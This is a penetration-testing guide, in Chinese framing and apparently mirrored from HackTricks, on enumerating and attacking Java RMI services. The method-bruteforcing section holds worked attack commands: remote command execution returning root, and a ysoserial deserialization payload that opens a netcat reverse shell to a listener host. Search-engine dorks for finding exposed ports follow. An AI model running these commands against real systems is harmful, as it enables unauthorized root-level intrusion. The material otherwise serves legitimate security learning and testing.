--- title: "1099 - Java Rmi" weight: 1099 date: "2026-03-10T10:03:28+08:00" lastmod: "2026-03-10T13:26:55+08:00" --- 💡 **学习提示**: 本文档介绍 **1099 - Java RMI** 的渗透测试方法，适合信息安全初学者和从业人员参考。 ⚠️ **法律声明**: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。 --- > ⚠️ **法律声明**: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。 ## 1098/1099/1050 - 渗透测试 Java RMI - RMI-IIOP ### 基本信息 _Java Remote Method Invocation_, or _Java RMI_, is an object oriented _RPC_ mechanism that allows an object located in one _Java virtual machine_ to call methods on an object located in another _Java virtual machine_. This enables developers to write distributed applications using an object-oriented paradigm. A short introduction to _Java RMI_ from an offensive perspective can be found in [this blackhat talk](https://youtu.be/t_aw1mDNhzI?t=202). **默认 port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999 ``` PORT STATE SERVICE VERSION 1090/tcp open ssl/java-rmi Java RMI 9010/tcp open java-rmi Java RMI 37471/tcp open java-rmi Java RMI 40259/tcp open ssl/java-rmi Java RMI ``` Usually, only the default _Java RMI_ components (the _RMI Registry_ and the _Activation System_) are bound to common ports. The _remote objects_ that implement the actual _RMI_ application are usually bound to random ports as shown in the output above. _nmap_ has sometimes troubles identifying _SSL_ protected _RMI_ services. If you encounter an unknown ssl service on a common _RMI_ port, you should further investigate. ### RMI Components To put it in simple terms, _Java RMI_ allows a developer to make a _Java object_ available on the network. This opens up a _TCP_ port where clients can connect and call methods on the corresponding object. Despite this sounds simple, there are several challenges that _Java RMI_ needs to solve: 1. To dispatch a method call via _Java RMI_, clients need to know the IP address, the listening port, the implemented class or interface and the `ObjID` of the targeted object (the `ObjID` is a unique and random identifier that is created when the object is made available on the network. It is required because _Java RMI_ allows multiple objects to listen on the same _TCP_ port). 2. Remote clients may allocate resources on the server by invoking methods on the exposed object. The _Java virtual machine_ needs to track which of these resources are still in use and which of them can be garbage collected. The first challenge is solved by the _RMI registry_, which is basically a naming service for _Java RMI_. The _RMI registry_ itself is also an _RMI service_, but the implemented interface and the `ObjID` are fixed and known by all _RMI_ clients. This allows _RMI_ clients to consume the _RMI_ registry just by knowing the corresponding _TCP_ port. When developers want to make their _Java objects_ available within the network, they usually bind them to an _RMI registry_. The _registry_ stores all information required to connect to the object (IP address, listening port, implemented class or interface and the `ObjID` value) and makes it available under a human readable name (the _bound name_). Clients that want to consume the _RMI service_ ask the _RMI registry_ for the corresponding _bound name_ and the registry returns all required information to connect. Thus, the situation is basically the same as with an ordinary _DNS_ service. The following listing shows a small example: ```java import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; import lab.example.rmi.interfaces.RemoteService; public class ExampleClient { private static final String remoteHost = "172.17.0.2"; private static final String boundName = "remote-service"; public static void main(String[] args) { try { Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name String response = ref.remoteMethod(); // Call a remote method } catch( Exception e) { e.printStackTrace(); } } } ``` The second of the above mentioned challenges is solved by the _Distributed Garbage Collector_ (_DGC_). This is another _RMI service_ with a well known `ObjID` value and it is available on basically each _RMI endpoint_. When an _RMI client_ starts to use an _RMI service_, it sends an information to the _DGC_ that the corresponding _remote object_ is in use. The _DGC_ can then track the reference count and is able to cleanup unused objects. Together with the deprecated _Activation System_, these are the three default components of _Java RMI_: 1. The _RMI Registry_ (`ObjID = 0`) 2. The _Activation System_ (`ObjID = 1`) 3. The _Distributed Garbage Collector_ (`ObjID = 2`) The default components of _Java RMI_ have been known attack vectors for quite some time and multiple vulnerabilities exist in outdated _Java_ versions. From an attacker perspective, these default components are interisting, because they implemented known classes / interfaces and it is easily possible to interact with them. This situation is different for custom _RMI services_. To call a method on a _remote object_, you need to know the corresponding method signature in advance. Without knowing an existing method signature, there is no way to communicate to a _RMI service_. ### RMI 信息收集 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) is a _Java RMI_ vulnerability scanner that is capable of identifying common _RMI vulnerabilities_ automatically. Whenever you identify an _RMI_ endpoint, you should give it a try: ``` $ rmg enum 172.17.0.2 9010 [+] RMI registry bound names: [+] [+] - plain-server2 [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534] [+] - legacy-service [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206] [+] - plain-server [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] [+] [+] RMI server codebase enumeration: [+] [+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/) [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub [+] --> de.qtc.rmg.server.interfaces.IPlainServer [+] [+] RMI server String unmarshalling enumeration: [+] [+] - Caught ClassNotFoundException during lookup call. [+] --> The type java.lang.String is unmarshalled via readObject(). [+] Configuration Status: Outdated [+] [+] RMI server useCodebaseOnly enumeration: [+] [+] - Caught MalformedURLException during lookup call. [+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). [+] Configuration Status: Non Default [+] [+] RMI registry localhost bypass enumeration (CVE-2019-2684): [+] [+] - Caught NotBoundException during unbind call (unbind was accepeted). [+] Vulnerability Status: Vulnerable [+] [+] RMI Security Manager enumeration: [+] [+] - Security Manager rejected access to the class loader. [+] --> The server does use a Security Manager. [+] Configuration Status: Current Default [+] [+] RMI server JEP290 enumeration: [+] [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). [+] Vulnerability Status: Non Vulnerable [+] [+] RMI registry JEP290 bypass enmeration: [+] [+] - Caught IllegalArgumentException after sending An Trinh gadget. [+] Vulnerability Status: Vulnerable [+] [+] RMI ActivationSystem enumeration: [+] [+] - Caught IllegalArgumentException during activate call (activator is present). [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default ``` The output of the enumeration action is explained in more detail in the [documentation pages](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) of the project. Depending on the outcome, you should try to verify identified vulnerabilities. The `ObjID` values displayed by _remote-method-guesser_ can be used to determine the uptime of the service. This may allows to identify other vulnerabilities: ``` $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' [+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] [+] [+] ObjNum: -4004948013687638236 [+] UID: [+] Unique: 1442798173 [+] Time: 1640761503828 (Dec 29,2021 08:05) [+] Count: -32760 ``` ### Bruteforcing Remote Methods Even when no vulnerabilities have been identified during enumeration, the available _RMI_ services could still expose dangerous functions. Furthermore, despite _RMI_ communication to _RMI_ default components is protected by deserialization filters, when talking to custom _RMI_ services, such filters are usually not in place. Knowing valid method signatures on _RMI_ services is therefore valuable. Unfortunately, _Java RMI_ does not support enumerating methods on _remote objects_. That being said, it is possible to bruteforce method signatures with tools like [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) or [rmiscout](https://github.com/BishopFox/rmiscout): ``` $ rmg guess 172.17.0.2 9010 [+] Reading method candidates from internal wordlist rmg.txt [+] 752 methods were successfully parsed. [+] Reading method candidates from internal wordlist rmiscout.txt [+] 2550 methods were successfully parsed. [+] [+] Starting Method Guessing on 3281 method signature(s). [+] [+] MethodGuesser is running: [+] -------------------------------- [+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists! [+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists! [+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists! [+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists! [+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists! [+] [6562 / 6562] [#####################################] 100% [+] done. [+] [+] Listing successfully guessed methods: [+] [+] - plain-server2 == plain-server [+] --> String execute(String dummy) [+] --> String system(String dummy, String[] dummy2) [+] - legacy-service [+] --> void logMessage(int dummy1, String dummy2) [+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode) [+] --> String login(java.util.HashMap dummy1) ``` Identified methods can be called like this: ``` $ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar [+] uid=0(root) gid=0(root) groups=0(root) ``` Or you can perform deserialization attacks like this: ``` $ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)" [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI endpoint... [+] [+] Using non primitive argument type java.lang.String on position 0 [+] Specified method signature is String execute(String dummy) [+] [+] Caught ClassNotFoundException during deserialization attack. [+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea. [+] Deserialization attack probably worked :) $ nc -vlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:45479. id uid=0(root) gid=0(root) groups=0(root) ``` More information can be found in these articles: - [Attacking Java RMI services after JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/) - [Method Guessing](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md) - [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [rmiscout](https://bishopfox.com/blog/rmiscout) Apart from guessing, you should also look in search engines or _GitHub_ for the interface or even the implementation of an encountered _RMI_ service. The _bound name_ and the name of the implemented class or interface can be helpful here. ### Known Interfaces [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) marks classes or interfaces as `known` if they are listed in the tool's internal database of known _RMI services_. In these cases you can use the `known` action to get more information on the corresponding _RMI service_: ``` $ rmg enum 172.17.0.2 1090 | head -n 5 [+] RMI registry bound names: [+] [+] - jmxrmi [+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server) [+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585] $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] Name: [+] JMX Server [+] [+] Class Name: [+] - javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIServer [+] [+] Description: [+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine. [+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient [+] method usually passing a HashMap that contains connection options (e.g. credentials). The return [+] value (RMIConnection object) is another remote object that is when used to perform JMX related [+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id. [+] [+] Remote Methods: [+] - String getVersion() [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: [+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html) [+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi) [+] [+] Vulnerabilities: [+] [+] ----------------------------------- [+] Name: [+] MLet [+] [+] Description: [+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load [+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: [+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) [+] [+] ----------------------------------- [+] Name: [+] Deserialization [+] [+] Description: [+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient [+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the [+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: [+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter) ``` ### Shodan - `port:1099 java` ### Tools - [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [rmiscout](https://github.com/BishopFox/rmiscout) - [BaRMIe](https://github.com/NickstaDB/BaRMIe) --- ### 搜索引擎语法 #### FOFA ```bash # FOFA 搜索语法 port="1099" ``` #### Shodan ```bash # Shodan 搜索语法 port:1099 ``` #### ZoomEye ```bash # ZoomEye 搜索语法 port:1099 ``` --- ## 📖 参考资料 - [HackTricks - 1099-java-rmi](https://book.hacktricks.wiki/en/network-services-pentesting/1099-java-rmi.html)